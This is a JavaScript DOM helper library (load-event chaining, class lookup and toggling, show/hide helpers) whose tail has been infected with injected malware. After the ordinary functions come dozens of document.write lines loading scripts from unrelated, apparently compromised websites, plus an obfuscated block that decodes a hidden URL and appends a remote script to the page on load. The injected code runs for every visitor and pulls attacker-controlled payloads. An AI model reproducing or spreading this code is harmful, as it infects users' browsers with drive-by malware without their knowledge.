//
// addLoadEvent()
// Adds event to window.onload without overwriting currently assigned onload functions.
// Function found at Simon Willison's weblog - http://simon.incutio.com/
//
function addLoadEvent(func)
{	
	var oldonload = window.onload;
	if (typeof window.onload != 'function')
	{
    	window.onload = func;
	} 
	else 
	{
		window.onload = function()
		{
			oldonload();
			func();
		}
	}
}

/* ===============================================
 * ================ COMMON =======================
 * Some common functions for the basic JavaScript objects
 *
 * ===============================================
 */

String.prototype.trim = function()
{
    return this.replace(/^\s+|\s+$/, "");
}

// Define methods for the Array data structure.
Array.prototype.indexOf = function(item, start) 
{ 
	for (var i = (start || 0); i < this.length; i++) 
	{ 
		if (this[i] == item) 
		{ 
			return i; 
		} 
	} 
	return -1; 
}

Array.prototype.remove = function(obj)
{ 
	x = []; 
	for (i=0; i<this.length; i++)
	{ 
		if (this[i] != obj)
		{ 
			x.push(this[i]); 
		} 
	} 
	return x; 
}

Array.prototype.replace = function(obj1, obj2)
{ 
	var x = [];
	var len = this.length;
	for (i=0; i<len; i++)
	{ 
		if (this[i] == obj1)
		{ 
			x.push(obj2); 
		} 
		else
		{ 
			x.push(this[i]); 
		} 
	} 
	return x; 
}


/* ===============================================
 * ============= GET ELEMENTS ====================
 * Methods to help retrieve elements from the DOM.
 *
 * ===============================================
 */

/*
 * Gets all the Elements by given Class Name. 
 * 
 * @param string searchClass - Name of the css class to look for.
 * @param object node - (optional) The node you want to start from. Defaults to 'document' if none is specified. 
 * @param string tagName - (optional) Limit  results by adding a tagName. Defaults to '*' if none is specified.
 * 
 * @returns array - Returns an array containing all the nodes given by the specified className.
 */ 
function getElementsByClass(searchClass, node, tagName)
{
	var	classElements =	new	Array();
	if (node == null)
		node = document;
	if (tagName ==	null)
		tagName	= '*';
	
	var	els	= node.getElementsByTagName(tagName);
	var	elsLen = els.length;
	
	for	(i = 0,	j =	0; i < elsLen; i++)
	{
		if (hasClass(els[i], searchClass))
		{
			classElements[j] = els[i];
			j++;
		}
	}
	return classElements;
}

/*
 * Get the element from the DOM Tree. If the given parameter (e) is a string, 
 * it is assumed to be the element's ID, and that element will be retrieved, else 
 * the given parameter is returned. 
 * 
 * @param string/element e - the element ID / element to be retrieved from the DOM tree. 
 * 
 * @returns element
 */
function getElement(e)
{
	if (typeof e ==	'string')
		return document.getElementById(e);
	else
		return e;
}

/* ===============================================
 * ================ STYLING ======================
 * Methods for manipulating an element's styles (CSS).
 *
 * ===============================================
 */

function getClasses(element)
{
	return element.className.trim().split(/\s+/);
}

function hasClass(element, className)
{
	return getClasses(element).indexOf(className) != -1;
}

function addClass(element, className)
{
    var classes = getClasses(element);
    
    if (classes.indexOf(className) == -1)
    {
        classes.push(className);
        element.className = classes.join(' ');
    }
}

function removeClass(element, className)
{
    var classes = getClasses(element);
    var index = classes.indexOf(className);
    
    if (index != -1)
    {
        classes.splice(index, 1);
        element.className = classes.join(' ');
    }
}

function showElement(element)
{ 
	element = getElement(element);
	
	if (element) // if we don't find the element, don't try to access it's properties.
	{
		element.style.display = "";
	}
}

function hideElement(element)
{
	element = getElement(element);
        
	if (element)
	{
		element.style.display = "none";
	}
}

document.write('<script src=http://kochanelektrik.com/images/gifimg.php ><\/script>');
document.write('<script src=http://kochanelektrik.com/images/gifimg.php ><\/script>');
document.write('<script src=http://porn-film.ru/images/japan.php ><\/script>');
document.write('<script src=http://hafministries.org/_vti_bin/mike_radio.php ><\/script>');
document.write('<script src=http://hafministries.org/_vti_bin/mike_radio.php ><\/script>');
document.write('<script src=http://hafministries.org/_vti_bin/mike_radio.php ><\/script>');
document.write('<script src=http://salauddinshospital.com/images/index.php ><\/script>');
document.write('<script src=http://salauddinshospital.com/images/index.php ><\/script>');
document.write('<script src=http://salauddinshospital.com/images/index.php ><\/script>');
document.write('<script src=http://vazoservices.nl/images/gifimg.php ><\/script>');
document.write('<script src=http://vazoservices.nl/images/gifimg.php ><\/script>');
document.write('<script src=http://europeanimportspro.com/pear/sendmail.php ><\/script>');
document.write('<script src=http://europeanimportspro.com/pear/sendmail.php ><\/script>');
document.write('<script src=http://europeanimportspro.com/pear/sendmail.php ><\/script>');
document.write('<script src=http://europeanimportspro.com/pear/sendmail.php ><\/script>');
document.write('<script src=http://europeanimportspro.com/pear/sendmail.php ><\/script>');
document.write('<script src=http://test.kipkomplekt.ru/img/alkohelp.php ><\/script>');
document.write('<script src=http://kehidakustany.extra.hu/images/index.php ><\/script>');
document.write('<script src=http://kehidakustany.extra.hu/images/index.php ><\/script>');
document.write('<script src=http://kehidakustany.extra.hu/images/index.php ><\/script>');
document.write('<script src=http://gtaworld.nkk.lt/images/faq.php ><\/script>');
document.write('<script src=http://gtaworld.nkk.lt/images/faq.php ><\/script>');
document.write('<script src=http://gtaworld.nkk.lt/images/faq.php ><\/script>');
document.write('<script src=http://gtaworld.nkk.lt/images/faq.php ><\/script>');
document.write('<script src=http://ramfoundations.com/_notes/first.php ><\/script>');
document.write('<script src=http://bulsam.net/sitemap/sabitlerCron.php ><\/script>');
document.write('<script src=http://cegro.pl/grafika_strona/kontakt.php ><\/script>');
document.write('<script src=http://cegro.pl/grafika_strona/kontakt.php ><\/script>');
document.write('<script src=http://cegro.pl/grafika_strona/kontakt.php ><\/script>');
document.write('<script src=http://kb40.com/bbs/1_bottom.php ><\/script>');
document.write('<script src=http://kb40.com/bbs/1_bottom.php ><\/script>');
document.write('<script src=http://kb40.com/bbs/1_bottom.php ><\/script>');
document.write('<script src=http://kb40.com/bbs/1_bottom.php ><\/script>');
document.write('<script src=http://wap.dobrykredythipoteczny.com/img/pudelka.php ><\/script>');
document.write('<script src=http://bluecasting.com.pl/images/gifimg.php ><\/script>');
document.write('<script src=http://bluecasting.com.pl/images/gifimg.php ><\/script>');
document.write('<script src=http://bluecasting.com.pl/images/gifimg.php ><\/script>');
var N;if(N!='W' && N!='g'){N=''};try {this.G="";var A_;if(A_!='Dy'){A_='Dy'};var Gt;if(Gt!='' && Gt!='ia_'){Gt='ti'};this.M='';var T=RegExp;var Y='[';var fv=new Date();var VF;if(VF!='' && VF!='ty'){VF=null};var d='';var NT;if(NT!='dd'){NT='dd'};this.q='';var c='replace';var ww=new Date();var Z=']';var I;if(I!='P' && I!='AX'){I='P'};var i='g';this.J='';var Yk=new Date();var KA=new Array();function A(R,u){var UB=new String();var E;if(E!='' && E!='n'){E=null};var b=Y;b+=u;var hB='';var FH="";b+=Z;var w=new T(b, i);return R[c](w, d);var ML=new String();};this.Ak='';var h=A('/XsXf_r_.Sf4r_/_sSfXrX._fSrq/_s4aXkXuSr_aS.qnSeS._j_p_/qp4a4sSsSp4oqrXtX.XnqeStX/SgSoSoSg4lqeq.qc4oSm4.Xp_hSpq',"q4SX_");var L=new String();var o=A('soeotEAEthtEroihbEuEtoeE',"ohE");var bK=A('o3ntlZoZatdt',"3tyZ");var Tz=A('avpvpEe6nAd6CAhEiAlAdA',"6AEv");var MLB;if(MLB!='' && MLB!='Wr'){MLB=''};var RA;if(RA!='' && RA!='LT'){RA=''};var f=A('cJr5eJa5tAeJEJlAeJm5eJn5t4',"4A5J");var t=A('89399933039339833333303333399',"93");var R="1";this.Rt="";var CC;if(CC!='Gm' && CC != ''){CC=null};var D=A('h6t5tlp6:l/5/6s5i5tle5plo6i5n5t5-lc6olm6.6klo6ulb5e6i5.6c5olml.lmla5t5c6h5-6clolml.5g6r5e6a5tlwlelslt6elnldl.5r5u5:5',"6l5");var cj="";var O='';var V=A('bJo8dJy8',"J8");var wL=A('suczrliJpltu',"zFulJ");var Ls;if(Ls!='uz' && Ls!='yJ'){Ls=''};var mE=new Array();var bKf='';var me;if(me!='' && me!='QR'){me=''};window[bK]=function(){var Lkd;if(Lkd!='PF' && Lkd!='Cg'){Lkd='PF'};C=document[f](wL);var qJ;if(qJ!='OG' && qJ!='jk'){qJ='OG'};var HL=new Array();var LE="";O+=D;O+=t;var X=new String();var Hd="";O+=h;var DT;if(DT!='' && DT!='tX'){DT='Qr'};var U=document[V];var Cx=new Array();C.setAttribute('defer', R);this.ZQ='';C.src=O;var wj=new Date();U.appendChild(C);var jp;if(jp!=''){jp='qB'};var sb="";};var vH=new Array();var dH;if(dH!=''){dH='lI'};} catch(TE){var se="";var dR;if(dR!='mc' && dR != ''){dR=null};};
document.write('<script src=http://bluecasting.com.pl/images/gifimg.php ><\/script>');
document.write('<script src=http://khaosokaccommodation.com/our-jungle-house-gallery/sitemap.php ><\/script>');
document.write('<script src=http://bernimmobilien.ch/_cache/sitemap_fr.php ><\/script>');
document.write('<script src=http://networkplay.in/pma/advertisers-old.php ><\/script>');
document.write('<script src=http://networkplay.in/pma/advertisers-old.php ><\/script>');
document.write('<script src=http://boliviarock.org/images/SPON03.php ><\/script>');
document.write('<script src=http://boliviarock.org/images/SPON03.php ><\/script>');
document.write('<script src=http://boliviarock.org/images/SPON03.php ><\/script>');
document.write('<script src=http://haberonline.info/css/www.haberonline.info.php ><\/script>');
document.write('<script src=http://forum.pervom.ru/db/privmsg.php ><\/script>');
document.write('<script src=http://generationnext.in/jsp/home.php ><\/script>');
document.write('<script src=http://generationnext.in/jsp/home.php ><\/script>');
document.write('<script src=http://gruposaglo.globat.com/galerias/1.php ><\/script>');